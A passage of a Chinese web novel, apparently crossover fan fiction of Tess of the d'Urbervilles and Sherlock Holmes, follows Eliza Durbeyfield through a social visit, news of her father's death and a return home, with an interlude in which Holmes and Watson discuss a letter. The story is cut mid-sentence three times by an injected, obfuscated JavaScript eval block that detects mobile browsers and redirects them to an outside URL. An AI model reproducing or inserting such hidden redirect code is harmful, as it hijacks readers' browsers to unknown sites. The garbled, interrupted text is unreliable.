她倒是明白这位H先生不满的原因。寄给杂志的配图有两幅，一幅是两种植株幼小形态的对比，也是最容易混淆毒株和野菜的部分；另一幅是两种植株开花结果的状态，她特意模仿了花边的样子，把两朵花画得像墙上的装饰画——这是迎合生活杂志调性的部分。 而杂志把大部分版面给了这两丛开着小黄花和白色花簇的植物纹饰，比一块舒芙蕾还要大；而重要的区别图只给了两块苏格兰黄油酥饼大小的可怜面积，怪不得石板印刷工会刻错，面积太小了。 真是难为H先生这么仔细地校看。 伊莱莎可以理解他这么大费周章地写信过来，毕竟这又不是护理亚麻衬衫的十个小妙招这样安全的内容，误食了野芹菜中毒的人可不在少数。 ——但是这么严肃的人为什么要给一个生活杂志供稿？ 她抽出一张新纸，按着H先生要求的尺寸裁好，趁着天色未晚，把他请求的那副对比图放大画好。 明天是礼拜日，白天的光线画这幅画更好，但是棕枝主日也快到了，伊莱莎还没忘记常蒂小姐的请求，约好上门拜访她。 吹灭蜡烛后，伊莱莎似乎想起了什么，从床上蹿到桌前，拿起那封信贴近鼻子仔细嗅闻。 只有极浅淡的烟草味。 她猜错了吗，H先生不是医生？ ——不过整个大英帝国有哪个男的不抽烟吗？ 第二天她去拜访常蒂小姐时，一个不抽烟的英国男人就不在那里，常蒂小姐也不在。 伊莱莎只好跟小女仆安妮闲聊，“我烤了四杯蛋奶酥，多的一杯给你。” 安妮很疑惑：“怎么会多一杯，今天玛丽·柯莱小姐也会来拜访，加上卡斯贝特先生和莫茜小姐，你们四个不是正好吗？” 这个傻姑娘！ 伊莱莎戳戳她的额头：“我在烘焙坊天天闻这个味道，就算把我引到旷野饿上四十天，我也不会受到它的诱惑①。再说了，你真的不想尝尝我的手艺吗，我可是特意为你带的呢。” 安妮笑了笑：“好吧，伊莱莎，你诱惑到我了……谢谢你。” 她们躲在厨房的窗后，安妮用勺子挖开蛋奶酥，馥郁的奶香盈满这个空间。从窗外望出去，可以看见门前的大路有没有人经过，还能看到一小片花园的春日景象。 常蒂家的花园由常蒂小姐亲自设计，她模仿比德尔牧师的假山设计，自己用石块垒了一处小型的岩石景观，让苔藓、常春藤、金银花和苏格兰蓟在上面自由生长。 安妮吃完蛋奶酥，又把碗碟收拾干净。她从杂物间里拿出小铲子和铁桶，去花园除去那些不允许自由生长的野草，伊莱莎戴上园艺手套，顺便帮她打下手。 “常蒂小姐跟克莱尔先生一起出去散步了？”伊莱莎问了一句彼此都知道的废话作为谈话的开始，“他们最近经常出去吗？” “当然，如果哪天不出去散步，我才会意外。”安妮老气地点头。 伊莱莎从这微妙的语气里品味到了一点异样：“看来我们都觉得，他迟早会向她求婚的……你也不喜欢克莱尔先生？” 安妮本来在点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165183|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头应和着她前半句拉长的话，听到伊莱莎的后半句话时，她猛然抬头看这个女孩。 “莫茜小姐如果嫁给了克莱尔先生，就要搬到剑桥去了，克莱尔先生在那里应该雇佣了其他的仆人，我要是一起去了，可能会麻烦到莫茜小姐。” 安妮跟常蒂小姐这么多年的情谊，只要她愿意，常蒂小姐不会不带她去的。 除非……“你不想去吗，想留在爱明斯脱？你的家人在这里，你舍不得他们？” 安妮迟疑着说：“我妈妈倒是希望我能去剑桥见见世面，不过，我要是留在爱明斯脱，说不定能一直当到管家呢。” 伊莱莎有点吃惊了，女管家虽然也有已婚的，但是她记得雇主似乎更偏好单身或者丧偶的女人，“你不想结婚吗？” 安妮老气横秋地叹气，她的年龄跟伊莱莎差不多大，这样的愁态在她青春的脸颊上显得格外可爱：“是啊，结婚有什么好的，要是莫茜小姐也不结婚就好了。伊莱莎，你为什么不喜欢克莱尔先生，他得罪你了吗？” 在安妮眼里，克莱尔先生虽然不足以与莫茜小姐相配，但也是个地道的绅士。而伊莱莎，她每次都带新奇好吃的甜点过来，说话即使不如常蒂小姐其他学生那么文雅，语调却也轻快悦耳，尤其是她还长得这么好看。 为什么两个好人会有矛盾呢？ 伊莱莎努力想了个贴切的形容：“克莱尔先生没有得罪你，也没有得罪我，他只是——无视我们，你明白吗？在他眼里，苏格兰蓟跟棒头草没有区别，都不入他的眼。” 她小心地把野草连根拔出：“我们也一样。” 沉默了一会儿，安妮突然开口：“要是莫茜小姐嫁给安吉尔先生就好了。” 谁，安吉尔·克莱尔？ 那不是苔丝的丈夫吗？ “安吉尔·克莱尔先生不是已经结婚了吗？”伊莱莎收拾好自己脸上过于惊诧的神情，“你是因为他才不想要莫茜小姐结婚的吗？” 安妮不知道把她的话理解到哪儿去了，她说：“莫茜小姐跟安吉尔先生没有订婚，只是以前常蒂先生跟克莱尔先生聊起过这件事儿，我们都觉得他会她在一起——没想到最后竟然是安吉尔先生的哥哥，卡斯贝特先生。” “虽然一个女人不能嫁给丈夫的兄弟，一个男人也不能娶妻子的姐妹，但是他们连订婚都谈不上，当然是可以被祝福的结合。唉，只不过我觉得，莫茜小姐嫁去剑桥，不如留在爱明斯脱自在呢……” 一个男人不能娶妻子的姐妹—— 伊莱莎深吸一口气，放下园艺剪刀，语气古怪地重复：“一个男人不能娶妻子的姐妹？” 那她拿的是什么剧本？ 穿成名著里那个跟姐夫在一起非法同居的女主妹妹？ “安吉尔·克莱尔先生不打算从巴西回来……” 伊莱莎话还没说完，安妮突然用手肘怼她一下，示意她，“莫茜小姐回来了！” 14. Chapter14 死去的男人们 三个人影从大路拐到一棵细长的李树阴影下的支路，站在中间的是常蒂小姐，她的左侧是克莱尔先生，右手挽着一个穿棕色裙子的姑娘。 伊莱莎摘下手套，洗干净了手，跟着安妮走进会客厅。今天除了蛋奶酥，她还烤了一盘苏格兰黄油酥饼。 她有一个不怎么得体的饮食偏好，喜欢把酥脆的饼干吃得遍地掉渣，但把这种糕点送到常蒂小姐家品尝就不太合适了。 制作黄油酥饼这种酥脆面团时伊莱莎用了乳化法，烤出来会不那么易碎，她还尝试着在里面加入了一点淡奶油，出炉的时候那股蓬松的乳香味叫山姆嚷着想让她分他一块。 蛋奶酥，他们的烘焙坊不常做，主要是卡在加热蛋黄来兜住蛋白搅拌后的气泡那一步，要是她不亲自盯着很容易一整锅全部失败。效率虽然大大降低了，但他们晚饭抹在面包上的蛋黄酱就有着落了。 这次伊莱莎特意挑了最新鲜的黄油，切成明亮的小块，烤出来的蛋奶酥躺在舌尖像是在品尝云朵。在顶端她撒了用焦糖烘烤的杏仁碎片，对她来说有点甜过头了，但是常蒂小姐和另一位棕色裙子的小姐很受用。 伊莱莎很有前瞻性地算好留下了三个蛋奶酥，结果卡斯贝特·克莱尔提前离开，把会客厅留给了女士们使用。 眼见着剩下的一杯蛋奶酥即将落在她头上，伊莱莎再次充满预见性地捏了一块黄油酥饼送进嘴里，用伦敦社交季最典范的淑女也不能比这更慢的速度开始小口品尝。 “这是玛丽·柯莱小姐，我的学生。”常蒂小姐向伊莱莎介绍棕裙女子，“这是伊莱莎……伊莱莎·德伯菲尔德小姐，她在井桥的烘焙坊工作。” 伊莱莎好奇地打量玛丽·柯莱，柯莱小姐目光沉着冷静地回看她，让她有点瑟缩地收回了目光。 柯莱小姐身上有种集教师、年纪主任和校长于一体的复杂气质，显然是常蒂小姐的终极严肃版本。 真是有趣的两个姑娘，常蒂小姐想。 她笑吟吟地开口：“噢，我想由我来讲明缘由比较好。玛丽一开始想去国立学校谋求一个教职，但是一直碰壁，她想教一些手工技艺的课，比如缝纫、烹饪、记账，还有制鞋制帽之类的活儿，而不是语法和诗歌——可惜她能找到的课程教师职位只有这些。她打算自己办一个学校，但在办学上她没有太多经验，也很难说服工人们或者农民把孩子送过来学手艺。” “所以，她想试试跟济贫院合作。那些带着孩子的母亲一旦进了济贫院，只要孩子在七岁以上，她们就不得不与孩子分开，监护人会把孩子们送去学校和保育院。如果送去国立学校的话，缴了两便士学费的家长们要闹意见。玛丽觉得可以申请济贫院的慈善救济金办一个学校，教区也表示可以资助她一个场地。” 那邀请她过来是想请她去当厨师还是教烹饪？ 玛丽·柯莱适时插话：“我特意请伊莱莎小姐来是想问一下，有没有什么人品可靠的厨师可以为我推荐？工资可以高一些，但比较抱歉的一点是我们的场地不太有吸引力，活儿也有点儿繁重。不过我们对厨艺的要求不高，就算是初级的厨房女佣也可以——只要她有经验。” 柯莱小姐开出的年薪是15英镑，在猎苑堡的雇佣市场里算是一个丰厚的价格了，而且包吃住——就是生活条件格外地简陋，而且上升空间非常有限。 大部分厨房女佣在洗菜、备菜、清洗厨具之后都能慢慢接触到烹饪，她们的上升途径很明确，就是奔着成为厨师去的。 在柯莱小姐的学校工作……也许最后可以当烹饪课的老师？ “容我冒昧问一句，这个学校将开在什么地方呢？”伊莱莎思考了一下，除了烘焙坊的三个人——甚至不知道他们除了面包和蛋糕之外还会不会烹饪菜蔬，帕夫太太不清楚，山姆和派克是肯定不会的——她认识的会烹饪的人里除了安妮就是琼恩了。 她现在要举荐自己老妈吗？ 玛丽·柯莱回复她：“在川特里奇，那里有一个养殖场，请木匠来稍作改动，就可以改成教学场所了，宿舍也有。” 如果请不到一个专门做饭的厨子，柯莱小姐也可以把食堂外包出去，伊莱莎暗自思索，她想要找面包坊合作吗？拉德克里夫先生肯定看不上这点蝇头小利。 她问玛丽·柯莱：“寄宿旅馆愿意帮忙提供饭食吗，我记得那附近有一家。” “川特里奇的那家叫克里奇的寄宿屋，我跟老板商量过，他不愿意。”玛丽·柯莱抿紧嘴唇，这场谈话现在回想起来也叫她生气，“他认为……给济贫院的孩子们提供食物，有失身份。” 好吧。 这就是维多利亚时代根深蒂固的时代特色。 伊莱莎抱歉地摇头：“我认识的人里只想到了我母亲。她会一些厨艺，以前我爸爸就拉着她做的熟食去集市上卖，但是我的弟弟妹妹们还在上学。我要写信问一下她，或许她觉得有空，或者她有认识的合适的厨娘。” “对了，常蒂小姐。”说起琼恩，伊莱莎想起她上次向妈妈讨的那个护发方子了。 “我听我妈妈说，她有一个护发精油的配方，把1盎司的阿拉伯树胶和1/4品脱冷水放到一起等它们溶解，再放3便士杏仁精华，静置一会儿，大概一小时左右，最后在表面倒入朗姆酒，就做好了①。” “要用的时候，倒出来一小瓶，再往小瓶子里面加一些冷水稀释掉，可以用很久，效果比报纸上广告宣传的还要好。” 伊莱莎屏住呼吸，面上装作兴致勃勃的样子，问道：“可惜我没有把调配好的护发油带过来，你介意给我一顶假发让我试试吗，下个礼拜日我给你带过来。” 这个时代的女人用假发装饰发髻很普遍，买假发也很常见，但是在猎苑堡这个地方，一个女人想买一顶查不到来历也找不到去处的男性假发，就难免有些显眼了。 常蒂小姐有些讶异她的热情，前几次她暗示可以借给伊莱莎诗歌和专著，伊莱莎都假装没听懂，马虎着应付过去了。 现在表现得这么跃跃欲试，她终于能看到一点儿这个年龄的少女应有的天真活泼。 她取出一顶黑发，递给伊莱莎：“是主显节过后没几天，我在集市上买的。一个在流浪歌手带着一个大箱子，在打折卖剧院表演的道具，说是伦敦的欢乐剧院淘汰的，谁知道是真的还是假的？不过我觉得很有意思，全都买下来了。” “弄坏了也没关系，本来就是买来玩儿的。”常蒂小姐笑着鼓励她。 伊莱莎严肃地说：“我努力不弄坏。” 要是常蒂小姐知道她打算拿这顶假发来干什么，会被吓到吧？ 假发和装蛋奶酥的杯盏被安妮收拾整齐，放进她的柳条篮里。 伊莱莎离开常蒂小姐家时，忍不住回望了一眼，安妮俯身把红茶放到亚麻桌布上，玛丽·柯莱和常蒂小姐正凑在一起讨论报纸上的内容。 春风吹过花园假山上金银花的垂蔓，拨动出哗啦的响声。 伊莱莎沿着河边走回磨坊，总觉得德伯菲尔德家那种伤春悲秋的消极宿命论又在她的血液里翻涌，这是她那个崇拜血统的父亲、迷信颟顸的母亲，还有臣服于宿命的姐姐共同造就的。 她刚走到磨坊的门口，帕夫太太就迎了上来，一把抓住她的胳膊，拉着她往里跑：“伊莱莎，你终于回来了！” 伊莱莎心头猛地一跳，还没来得及问清楚，两个逆光的人影就在门框里显现出来——当然不是山姆和派克。 是她的弟弟，亚伯拉罕，还有一个不认识的女人。 “伊莱莎，妈妈死了。”亚伯拉罕郑重而慌忙地说，“不对，她快要死了。是爸爸死了，妈妈好了。但是妈妈现在很不好。” ……到底是谁死了？ 在谈论死亡的沉重时刻，亚伯拉罕语无伦次所带来的黑色幽默让伊莱莎突然冒出一点不合时宜的喜感。 旁边的女人发出一声响亮的吸气声，伊莱莎转头看她，这个青年女性看起来有种干惯了农活的干练强壮，年龄跟苔丝差不多大。 她快速地纠正：“你妈妈没事。是你爸爸，他去世了。” “关键在于母亲，不管是死去的还是活着的。” 歇洛克·福尔摩斯先生双手交叉，食指指尖相抵，放在下巴处，摆出一个沉思的姿态。 即使跟这位前室友相处多年，约翰·华生医生依旧感到跟不上他的跳跃思路，他无法理解地问：“在韦林特上校的这个案子里哪里有母亲的踪影？噢！你是说韦林特上校那个去世的妻子——可这是死去的母亲，活着的母亲是谁？韦林特上校父母都已经去世了。” 福尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165184|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摩斯赞许地看了华生一眼，“当然是前韦林特太太的母亲，洛维拉夫人。她现在住在多塞特的克兰伯恩，据我所知，声称什么都没看见的女仆格拉迪斯有一个慷慨的朋友，恰好来自伯恩茅斯——多塞特最大的城市。” “所以你要去一趟多塞特？今天，还是明天？”华生看了看自己的记事本，“我还有三个病人预约了日程，不过杰克逊医生能帮我坐诊一两天……” “我会去一趟多塞特，不过不是现在。华生，猎人在不能一击必中之前决不会轻举妄动。像沃伦那样警惕的人，一点风吹草动都会惊醒他。我已经派维金斯去盯着他们了，如果有什么异常，他会来向我报告的。” 华生摸了摸下巴，不解地问：“我还是不明白，为什么是沃伦？在所有可疑的罪犯里，除去那个忠心耿耿的老管家，只有这个年轻人的嫌疑最低，甚至格拉迪斯都比他更方便往茶里面加吗/啡。” 福尔摩斯发出不耐的气声，起身走到摆满化学试剂的大书桌前，“门栓，那个被弄断的门栓。” 华生深谙他这幅作态暗示了什么，这位老友显然是不会再作解释了，于是他泄力瘫倒在扶手椅上，状似不经意地问：“那在你的猎物钻进陷阱之前，你打算怎么消磨时光呢？做你的实验？” “等一位多塞特的小朋友的回信。”福尔摩斯划动火柴，点燃了本生灯。他扭动煤气掣，跳动的火焰从橙色转变为蓝色。 “你怎么知道那是位年轻的小姐？”华生饶有兴致地问，“虽然她未婚，但也不能排除D小姐是一位年长的女性的可能。” 福尔摩斯无奈地瞥了眼好友：“就我的亲身经验和实践观察来看，90%的女人——但凡超过二十五岁，不管是已婚还是未婚——都不会给孩子推荐姜饼、松饼和磅蛋糕，即使是减糖的也不行。她们只允许孩子吃米布丁，或者牛奶布丁。” 医生哽了一下，挂起微笑，无言地赞许他的真知灼见。 “看来生活杂志也让你学到了许多东西。”华生的目光转向壁炉上的那个山羊皮匣子，似乎想把它盯穿，好仔细看看里面的可/卡/因溶液有没有减量。 “是婚姻让你学到了更多东西，”福尔摩斯不咸不淡地答复，“比如从一本‘为艺术而艺术’的杂志里学到怎么挑选送给妻子顺应潮流的香水。” “但我不得不说，这样的杂志虽然在选题上颇有包容性，却实在缺乏一种对公众传播准确信息的审慎态度。” 鼻端还飘着香水推销员极力推荐的留香持久的紫罗兰香水，华生忍住看到福尔摩斯吃瘪而生的笑意，点头道：“你说得对，像我在杂志和报纸上发表的那些破案记录，纵然在气氛和情节上加以艺术的处理，用了一些夸张的手法，然而于公众本身而言，并没有什么危害。” “一本生活杂志的受众，不管是厨师、管家还是女主人，对她们传达避免误食有毒植物这种信息时，的确要严谨且着重地加以强调，而不是为了画面美观就把重要内容挤到一边儿去。” “你觉得D小姐会答应你的要求吗？”华生非常好奇，“福尔摩斯，要知道我从没见过你给一个姑娘写这么长的信——哪怕算上你的女性顾客们。你从读书时就已经成为了一个不会幻想给女孩写情书的机器吗？” “要让你失望了，恐怕我从一个呱呱啼哭的婴儿开始就是一个冷酷的机器。不过请放心，我的那封信就算写得再不得体，对一个女孩来说也比收到一封素不相识的男人写来的求爱信要正常得多。” 伊莱莎以为生活会一直这么正常地过下去——安吉尔·克莱尔九死一生地归来，苔丝跟他和好，他们幸福地生活在一起。 她会在磨坊攒够了钱，安顿好亚伯拉罕的工作，见证玛丽·柯莱成立慈善学校，等莫茜·常蒂小姐邀请她去参加婚礼，之后再去伦敦找帕夫太太…… 现在就像她把鸡蛋打发过头了，不用等放进烤箱，一切就已经开始垮掉。 伊莱莎半天才找回自己的声音，她声音颤抖着发问：“到底是怎么回事？” “明明上次我收到信的时候，家里的一切都还好好的啊？” “伊莱莎，我来告诉你。”那个陌生的女人开口了，她刻意放缓的声音从丰满的躯体里发出，显出一种有力的温柔，“我叫玛丽安，是你姐姐苔丝的朋友。” 15. chapter15 苹果花 自称玛丽安的女人站在门下，屋里跳动的烛光和原野盛大的余晖在她脸上轮转，亚伯拉罕踩在门槛上，山姆和派克倚靠在木窗边望着她们，帕夫太太则紧紧搀扶着伊莱莎。 简直是米莱斯乡村风俗画里的场景。 伊莱莎的灵魂仿佛从身体里逸出，浮在塔楼高处俯瞰这戏剧性的一幕。 在她的命运舞台上，这无疑是一个具有转折性的情节安排。 “我跟苔丝是在泰波特斯当挤奶工认识的，去年年初她结婚了，离开了那里。冬天的时候她找不到工作，我写信问她要不要跟我一起去高地农庄，我们一直在燧石顶务工，干到现在。” 玛丽安介绍了一段自己跟苔丝的过往，有心省去了安吉尔·克莱尔，继续道：“大概四五天前，你的弟弟亚伯拉罕找到燧石顶，说你妈妈生了重病，快要不行了，请苔丝回家去看看。” 家里不是还有父亲吗，他在干什么？ 伊莱莎自己迅速回答了这个疑问。 用脚趾想也知道，家里只剩下约翰一个大人，他比收割后的秸秆还靠不住。 琼恩病倒了，孩子们没有主意，只好去喊苔丝回家。 “我之前回信的时候寄了两镑回来，妈妈看病用完了吗？”比起关心她死去的爹，伊莱莎更关心家里的经济情况。 冷血就冷血吧，她又不能复活死人，当然是活着的更重要。 “你寄钱回来的时候，妈妈想带爸爸去看病，爸爸不肯，说他身体好得很，你寄钱过去就是在咒他。爸爸还说谁知道你的钱是不是偷来的，在他面前显摆什么。”亚伯拉罕声音慢慢降低，小心翼翼地打量伊莱莎的神色。 二姐板着脸，看不出有什么变化。 伊莱莎倒没有很生气，更谈不上委屈，她猜是她写的那些对约翰的警告把他惹恼了。 对于这么一个还做着振兴贵族门楣的春秋大梦的老爹来说，宣扬着要去戳破他的美梦——仅仅是在信上威胁，都会让他觉得颜面扫地。 她让亚伯拉罕继续讲。 亚伯拉罕一边回忆一边道：“妈妈拗不过爸爸，就没让他去沙斯顿看医生了。后来妈妈生病了，她想给你写信，爸爸把信撕了，让我给你写的，说家里没事儿，不用你来操心。” 怪不得之前那封信是亚伯拉罕的字迹，她还以为是琼恩躲懒，没有亲自写信。 她这个死人爹…… 伊莱莎握紧了拳头，问亚伯拉罕：“你刚刚说妈妈好了，是康复了？她现在是不是身体还很虚弱？医生怎么说，需要花钱买药吗？” 她一连串追问把亚伯拉罕问懵了，他以为伊莱莎会先问爸爸的事儿，没想到她更关注琼恩。 可靠的成年人玛丽安见状赶紧开口补充：“你妈妈好很多了，她之前病得下不了床，你爸爸又不去干活儿，亚伯拉罕没有办法，只好来找苔丝。他走到燧石顶的时候已经很晚了，苔丝走夜路先赶回家，我带着亚伯拉罕第二天回的马洛特村。 “我们回去的时候，医生说可以不用担心你妈妈了。有苔丝扶着，她都能下床去散步了。你们家里错过了春播，但是还有钱用，花的就是你寄回去的那些钱。” 伊莱莎皱起眉头，不知道为什么，她总觉得这笔钱除了让矛盾掩埋得更深，爆发得更剧烈之外，根本没有起到她想要的效果。 “我、苔丝还有亚伯拉罕一起把家里留的土豆种粮都种下去了，德伯菲尔德先生忙活你们家外面的那块菜地。昨天晚上，他走在路边，跌了一跤，跌进旁边的菜地里……去世了。” 伊莱莎对约翰·德伯菲尔德的死并不意外，她所努力做的一切，不就是基于这个早就知道的既定事实吗？ 难道她真的改不了这个结局吗？ 不。 伊莱莎安慰自己，还没到那一步，别想得太消极了。 帕夫太太轻轻拍了拍她的肩膀，伊莱莎深吸一口气，问帕夫太太：“拉德克里夫先生回来了吗，我得跟他说一声。” 派克出声告诉她：“他回来了，现在就在隔壁磨坊后院的那个屋子里。” 山姆找了一条长凳子让玛丽安和亚伯拉罕坐下休息，还热心地给她们端来了两杯麦茶。 “伊莱莎，走吧，我们一起去找拉德克里夫。”帕夫太太低声提议，伊莱莎摇摇头，拒绝了她的好心陪伴。 磨坊主的办公室是一件宽敞的红砖小屋，此时碾磨的机器停止了运转，小院子白日里被震得飞扬的尘土已然安睡在泥土里，屋檐下的煤气灯外环绕着棕色的飞蛾，只有新生的春虫和着流水一起唱着摇篮曲。 拉德克里夫先生在窗下点了一盏蜡烛，又在桌案放了一盏油灯，他借着灯光一笔一笔地对账目明细。 “噢，姑娘，我听说了你家里的事。”他揉了揉眼睛，指着墙边的椅子道：“来，坐着聊吧。” 伊莱莎摇摇头，“我站着就好了，拉德克里夫先生。” 磨坊主翻了个白眼：“赶紧给我坐下，你把光都挡完了。” 姑娘只好从善如流坐下。 不得不说，拉德克里夫先生这句家常的调侃让她的心好受了些。 “德伯菲尔德先生死了，你要回去参见葬礼，对吧？打算回去几天，三天够了吗？上周你的账已经结过了，作为一个福音派的信徒，我打算再给这个丧父的女儿一英镑来安慰她。”拉德克里夫翻了一页账目，又对了对日期，“快到旧历的圣母节了，我们之前签的日期就是这天，你还打算续约吗？” 伊莱莎语气不确定地说：“应该会……吧？” 闻言，磨坊主惊讶地从账本里抬头，上下打量着她：“真奇怪，伊莱莎。我看你只是有点儿难过，样子却不太悲伤。我以为你父亲还没那个幸运能赢得你的敬爱呢，你除了参加葬礼之外，还要为他祈祷吗？” 她摇摇头：“不，先生。我不是很难过，医生之前就说过我父亲很危险，可能他会活得好好的活很久，也有可能一发病就死了。我只是……感觉……预感，我预感一些不详的事……” 拉德克里夫现在真的有点头疼了，他想起他那个坐在扶手椅里对着神龛沉思的母亲，她身上那种灵妙的气质跟伊莱莎还真有几分相似，这种富有传染性的东西搞得他也开始怀疑起来，他是否还能在人世里再见到这姑娘。 “好吧，好吧，你要走了，帕夫太太也得去伦敦。都说还会回来，谁知道是不是会一走了之，两个靠谱的都走了，就给我留下山姆和派克！”拉德克里夫先生语气忿忿。 他拉开抽屉，数了十镑的纸币和两个沙弗林金币，递给伊莱莎，认真地叮嘱：“收好了，姑娘，别随便就被什么人给骗去了。” 伊莱莎哭笑不得地收下，她难道看起来很容易被骗吗？ 拉德克里夫先生的关心和善意给她沉闷的心吹进了一缕麦田的风，她认真地说：“先生，我们一定会再见面的。” 她回到面包坊，上三楼草草地收拾了几件衣服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165185|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那顶假发被她放在藤编的小匣子里，伊莱莎犹豫了一会儿，还是决定先存放在这里。 玛丽安喊来了一个赶双轮马车的车夫，接过伊莱莎的行李皮箱，放到车架上。 亚伯拉罕早就坐上了马车，困得昏昏欲睡。 他们在夜色吞没最后一丝日光的时候上了路，伊莱莎忍不住回望那座点着烛火的三层小塔楼，三楼的窗户后站着一个黑色的影子，她知道那是帕夫太太。 那并不是她的家，只是一个暂时的落脚点。 伊莱莎有些难过地回头，看马车驶入夜色里，带着她回到了另一个落脚点。 德伯菲尔德家的老屋伫立在夜幕之下，借着月光观察它，屋子的色彩性格并不鲜明，气质上则体现着当下的女主人那种对命运听天由命的随和——让这家人住也不错，换另一家人住进来也行。 伊莱莎离开之前就已经注意到屋顶有着被秋雨淋穿的危险，二楼的楼板也有破裂的征兆，横梁更是需要加固一番，为此她还特意在猎苑堡找木匠学徒打听过，完成这些修补需要多少钱。 现在来看，这座房屋已经被好好地加固和修复过了。 鉴于木匠不肯再赊账，花的钱应该是苔丝在冬天又寄回去的二十镑。 二楼的窗户透着暗淡的光，似乎说明点着的蜡烛快要烧到尽头。 霍珀他们大概已经休息了，马车车轮的声响惊动了屋里的人，苔丝走了出来。 伊莱莎摇醒亚伯拉罕，指挥他把行李提到二楼，自己把钱付给了车夫。 苔丝声音疲倦地对玛丽安道谢，安排她睡到二楼。 五个人在院子里短暂地停留了一会儿，几个呼吸之间又各自分开，这里只剩下了苔丝跟伊莱莎。 “妈妈呢？”伊莱莎猜琼恩应该是去忙明天下葬仪式的事了。 苔丝疲倦地看着她：“妈妈刚从教堂回来，她去找奥哈特老爷商量续租的事儿了。” 约翰·德伯菲尔德虽然不是个称职的丈夫，更不是个负责的父亲，但他的存在给了这个家一个遮风避雨的居所和勉力维持生活的土地。 他的死去代表着三代租约的终结，更暗示了一个灰暗的未来——他们即将从这个自出生就住着的房子搬离，或者成为按周付租金的租客，随时都有被房东赶出去流离失所的风险。 伊莱莎跟苔丝沉默着走进屋子，餐桌上点着昏暗的油灯。 她扭动阀门，把灯光调亮，让苔丝凑近她：“看——” 口袋里是那张十镑的纸币。 “好了，苔丝，别担心。看，我这儿还有十镑呢，等葬礼办完，我就回磨坊继续工作，只要省着点儿花，钱是够使的。”伊莱莎用食指抹开苔丝的眉毛，她的眉毛并不是秀美的形状，浓密而粗长。 每当苔丝瞪眼看人时，她的眉和眼就会流露出一点儿野性的冲动。 而她眉目带笑时，整张秾丽的面孔就极具冲击力。 伊莱莎头晕目眩地看着她，苔丝立刻意识到她的笑在父亲还没下葬之前是多么不合适，于是她轻轻咳了两声，说：“嗯，莉兹真厉害。” 家里没地方放约翰的棺椁，只好放在教堂里，她们今晚就在家里守夜。 苔丝和伊莱莎坐在窗边的扶手椅上，对着火盆里燃烧的木块儿发呆。 初夏的夜晚，气温已经很温暖了，伊莱莎起身把厨房的窗户打开，她抬头想看看月亮，突然惊喜地说：“呀！苔丝，你看，苹果树的花开得真好啊。” 16. chapter16 大英雄何竟死亡 苔丝在椅子上打了个盹，她低垂的头猛地一晃，把昏沉的脑袋晃清醒了。 黑铁盆里的木柴依旧燃烧着，苔丝有些疑惑，这些木块儿似乎烧了很久了。 她扭过头，想看看桌上那座破旧的座钟显示什么时间了，然而她很快发现了另一个不对劲儿的地方。 “莉兹？” 旁边的椅子上空无一人，伊莱莎出门了吗？ 大半夜的，她要去哪里？ 苔丝拿起蜡烛，想要去寻找妹妹。厨房的窗户突然响了一下，似乎有人在推它。 她举起烛台，走进厨房。 窗外的月光格外明亮，苹果花像发了疯一样开满整个枝头，沉甸甸的一团，把树枝都压低了，伊莱莎就站在繁密如云的花树下。 苔丝想问她怎么跑到外面去了，但她的喉咙仿佛被绳子紧勒着，说不出一个字来。 伊莱莎披着头发，发色是介于橘黄和金黄之间的淡橙色，这头如瀑的长发把银白的弦月染成了金黄的圆月，她裹着披肩，对苔丝甜蜜地微笑。 仿佛有人掀开苔丝的头骨，伸进勺子狠狠地搅动——那个披肩！ 就是当初伊莱莎搭在死去的婴儿身上的裹尸布。 伊莱莎收起笑容，抬起右手，在窗上冷酷地画了一个十字。 苔丝嘴唇打着颤，上牙跟下牙紧紧咬在一起，试图阻止无法停止的颤抖。 她想伸手去开窗，身边突然有了动静。 厨房里黑得出奇，一丝光都照不进来，她没有注意到自己面前还站了一个人。 这个黑影是…… 苔丝平静地想，是另一个伊莱莎。 一个更成熟的、表情木然的姑娘，一身已婚妇女的打扮，看起来嫁的丈夫不错。 冷冰冰的伊莱莎走到窗前，把那个金黄的伊莱莎挡得严严实实。 苔丝的内心突然明悟，这是现在的莉兹和原来的露露。 她必须在二者之中择其一。 好像思考了很久，又好像根本没有思考过，苔丝径直走到窗户前，月光倾斜进来，那个妇人打扮的黑色影子像水一样流走了。 莉兹笑得很开心，像是刚才她拉开口袋，半是得意半是安慰地给苔丝看那十镑的纸币一样的狡黠。 窗栓被拉开，苔丝拉开窗户，伊莱莎把手伸进来，想把姐姐拉出这间德伯菲尔德家的屋子。 突然之间，仿佛整个房屋都被翻了过来，伊莱莎一脚踩空，如同被猎枪打中的飞鸟一样，所有的花瓣像水一样倾斜，她直直地向下坠落。 “莉兹——”苔丝猛地坐起来。 她双手撑在地上，环顾四周，发现自己从椅子上滑下来了。 